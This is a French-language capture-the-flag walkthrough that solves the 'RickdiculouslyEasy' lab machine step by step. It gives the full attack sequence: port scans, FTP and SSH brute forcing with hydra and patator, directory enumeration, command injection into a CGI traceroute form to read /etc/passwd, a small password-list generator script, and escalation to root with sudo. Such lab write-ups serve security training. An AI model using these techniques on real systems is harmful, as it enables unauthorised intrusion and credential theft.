Voici mes solutions pour les challenges de RickdiculouslyEasy
Ces challenges sont d'un niveau débutant.
Je pars du principe que vous connaissez tous et toutes les commandes courantes comme
ls,
cat,
file,
tail,
strings,
tac,
...
Toutefois il est quand même recommandé de connaitre un peu le python
et de connaitre les commandes suivantes:
- Installer Vmware ou Virtualbox
- Installation de l'iso dans une VM
- Installation de Kali ou d'une image
Personnellement j'ai utilisé Virtualbox et j'ai configuré le réseau de l'iso en bidge.
Vous êtes libre de l'utiliser comme bon vous semble comme NAT Network
ou autres
Si vos êtes comme moi et avait opté pour Virtualbox, n'oublier pas d'installer
le paquet d'extension pour plus de confort et éviter des problèmes d'installation !
L'adresse de notre cible est indiqué sur la VM qui tourne sur Virtualbox.
On va donc commencer par scan un peu tout ça avec la commande :
unicornscan -v -I -r 1000 -p 1-65535 192.168.1.15
On peut voir ici qu'il y a plusieurs points d'entrée.
Pour les fan de nmap
Une autre solution aurait été de lancer nmap 192.168.1.17 -O -sV -p- -T5
On va donc faire un petit nc
sur chacune des zones que l'on a trouvées :
nc -nv 192.168.1.15 60000
Ici on peut voir que ce petit filou de Rick nous a laissé une petite backdoor.
Un autre option aurait été d'utiliser la commande
telnet comme cela :
telnet 192.168.1.15
On va donc regarder ce que l'on trouve dans cette zone avec la commande ls. On vient de trouver un fichier FLAG.txt. On lance donc un cat dessus et BINGO {Flip the pickle Morty!}! Ce qui nous fait 10 / 130 points.
nc -nv 192.168.1.15 22222
Ici pas de flag. Par contre on peut voir que ce port sert à se connecter en ssh . Si jamais on trouve des identifiants au cours de notre exploration, on va surement pouvoir utiliser ce port pour se connecter !
nc -nv 192.168.1.15 13337
On a directement un flag qui s'affiche {TheyFoundMyBackDoorMorty}! ce qui nous fait à présents 20 / 130 points.
Bien maintenant que l'on a fait les unknown
. On va passer aux classiques.
Comme dit sur la VM qui run l'iso et sur notre commande unicornscan
on voit que l'on peut se connecter depuis un brother a l'adresse https://192.168.1.15:9090
.
Une fois rendu sur cette page on peut constater que l'on a un autre flag
{THERE IS NO ZEUS, IN YOUR FACE!}. On arrive donc à 30 / 130 points.
R Passons maintenant à la connexion FTP. Pour cela on va utiliser hydra pour brut forcé histoire de voir si par megarde il n'y aurait pas un accès. On va donc lancer la commande :
hydra -V -f -L /usr/share/worldlists/dirb/ltl.txt -P /usr/share/worldlists/dirb/ltl.txt ftp://192.168.1.15
J'ai utilisé mon propre custom file mais il existe beaucoup de fichiers plus ou moins
gros pour tester ces connexions-là.
Au bout de quelques minutes nous avons trouvé un match. Ni une, ni deux, on va
pouvoir voir si l'on trouve quelque chose.
On lance donc la connexion avec ftp -p 192.168.1.15
, on se retrouve donc à rentrer les logins et password trouver.
une fois connecter on lance notre, ls et encore une fois on voit
un fichier FLAG.txt.
On va donc regarder ce qu'il y a dedans avec get FLAG.txt /dev/tty
et nous voilà maintenant en possetion d'un nouveau
flag {Whoa this is unexpected} ce qui nous monte maintenant à 40 / 130 points.
On va maintenant commencer à essayer de voir si l'on ne trouve pas certains accès sur le site. Comme on n'aime pas attendre on va accélérer les choses avec la commande dirb. On lance donc la commande suivante :
dirb http://192.168.1.15 /usr/share/worldlists/dirb/big.txt -N 404
On a des resultat :
- cgi-bin/
- passwords/
- robots.txt
http://192.168.1.15/cgi-bin/
n'est pas très concluant. on se retrouve avec un
Forbidden
et rien dans le code source de la page :/.
Essayons maintenant avec la directory http://192.168.1.15/passwords/
Ah plus de chance cette fois avec cette Directory ! On y retrouve deux fichiers:
- FLAG.txt.
- passwords.html.
On va d'abord regarder le contenue du fichier FLAG.txt affin de récupère un notre nouveau flag qui est {Yeah d- just don't do it.} ce flag étant à 10 nous sommes donc maintenant a 50 / 130 points.
Maintenant allons regarder le fichier passwords.html
. Il n'y a rien de spécial
sur cette page. Par contre si l'on regarde le code source on peut trouver écrit
en commentaire la phrase Password: winter
.
Pas moyen de l'utiliser pour l'instant mais on a récupéré un mot de passe et ça
c'est toujours cool !
Passons maintenant au robots.txt
Super ! Finalement
on va pouvoir allez les cgi.
On voit qu'il y a donc deux fichiers :
- cgi-bin/root_shell.cgi.
- cgi-bin/tracertool.cgi.
On commence donc par l'url du root_shell par ce que les root_shell c'est cool !
Manque de chance Rick est vraiment un trou du cul car il n'a pas fini de le
coder :/.
On va donc passer au tracertool.Et là il nous proposait d'entrer une adresse ip
pour la tracer. Comme on est des personnes sérieuses qui écoutent ce que l'ont nous
demande. On va essayer de voir à tout hasard il ne nous laisserait pas renter
d'autre commande en rajoutant un ;
au debut,
pour exécuter une autre commande.
On s'applique donc à lancer la commande suivante :
; ls -la
Chouette ce n'est pas proteger. On essaye donc :
; cat /etc/passwd
... On dirais bien qu'il se
protege contre la commande cat.
On va donc essayer avec tac!
; tac /etc/passwd
Nickel ! Si vous vous rappelez bien, nous avions trouvé un mot de passe avant. Et bien maintenant que l'on a récupéré la liste des users on va pouvoir essayer de faire match ce mot de passe avec l'un des users. Vue qu'il n'y a que trois utilisateurs j'ai essayé directement a la main et la Summer m'a ouvert son coeur:
ssh -p 22222 Summer@192.168.1.15
Commencons par le commencement, un petit ls,
nous révèle que l'on a un nouveau fichier FLAG.txt.
On lance donc notre tail FLAG.txt
et un nouveau flag pour nous grace au flag
{Yeah d- just don't do it.} + 10 points.
Ce qui nous fait monter à 60 / 130 points.
Maintenant que nous sommes connectés en ssh
on va pouvoir allez voir ce qu'on Morty est Rick dans leurs Home.
On va donc fait la commande suivante avec le User Summer
:
clear ; cd /home/Morty ; ls -la
- journal.txt.zip.
- Safe_password.jpg.
On va essayer de regarder ce que l'on peut faire de ça. On va donc lancer la commande suivante avec le userSummer
:
cp journal.txt.zip Safe_password.jpg /home/Summer/. ; cp Safe_password.jpg /tmp/.
; chown Summer /tmp/Safe_password.jpg
On constate que le fichier zip est protégé par un mot de passe. Coïncidence avec le faite qu'il soit accompagné d'un fichier de mot de passe. Je ne crois pas ! Mais sait on jamais. On va la copier pour pouvoir l'ouvrir sur notre ordinateur car lire une image sur un terminal n'est pas vraiment lisible pour un humain. On lance commande suivante :
scp -P 22222 Summer@192.168.1.15:/tmp/Safe_password.jpg .
On ouvre donc le fichier et là >...<, rien d'ecrit sur l'image.
On va donc lancer la commande
strings Safe_password.jpg
Génial, Rick a été malin et sait que Morty est un peu stupide. Du coup il lui a
clairement écrit le mot de passe pour
unzip le fichier !
On retourne sur la connexion ssh et on essaye
le mot de passe:
Parfait ! Morty nous confits que c'est un mot de passe a Rick et nous avons
maintenant un nouveau Flag {131333} et celui
la est a 20 points. On en est maintenant a 80 / 130 points.
Allons faire un tour chez Rick maintenant que Morty nous a reveler tous ces secrets. On y retrouve deux Folders:
- RICKS_SAFE
- ThisDoesntContainsAnyFlags
À première vue le fichier NotAFlag.txt n'est pas un flag. Par contre le fichier safe est deja plus interessant. On se rend compte que c'est un exécutable. On veut pouvoir faire mumuse avec, alors nous allons le copier dans notre home puis l'exécuter.
cp /home/RickSanchez/RICKS_SAFE/safe /home/Summer/. ; cd ; ./safe
Ça y est ! Vous aussi vous faites la relation avec ce que ce bon vieux Morty a dit ?
Très bien réessayons mais avec comme premiers arguments 131333.
On touche au but ! En plus d'avoir trouvé le flag {And Awwwaaaaayyyy We Go!} qui nous fait avoir 20 points en plus et donc arriver a 100 / 130 points ; il nous explique même comment se connecter avec RickSanchez en ssh !
Comme Tout le monde le sait le groupe de Rick était
The Flesh Curtains
,
mais dans le doute on a quand même vérifier sur
l'internet. Il ne nous reste plus qu'à écrire un
petit script.
cat > generator_mdp.py
import string
grp_name = ("The", "Flesh", "Curtains")
with open("mdp.txt", 'w') as f:
for l in string.uppercase:
for d in string.digits:
for g in grp_name:
f.write(l + d + g + '\n')
Maintenant qu'on a notre script on va générer toutes les combinaisons de mot de passe puis essayer de retrouver le mot de passe grâce à patator.
python generator_mdp.py ; patator ssh_login user=RickSanchez host=192.168.1.14 port=22222 password=FILE0 0=mdp.txt -x ignore:mesg='Authentication failed.'
Et on a notre mot de passe. Essayons de nous connecter en
ssh en rentrant ce mot de passe
ssh -p 22222 RickSanchez@192.168.1.15
Maintenant que nous sommes OFFICIELLEMENT RickSanchez nous pouvons lancer la
commande sudo su
avec le même mot de passe et ainsi passé Root.
On retrouve notre dernier flag
{Ionic Defibrillator} pour une valeur de 30
points ce qui nous amènent à 130 sur 130 points !
Bravo à toutes et à tous d'avoir réussi ces challenges :)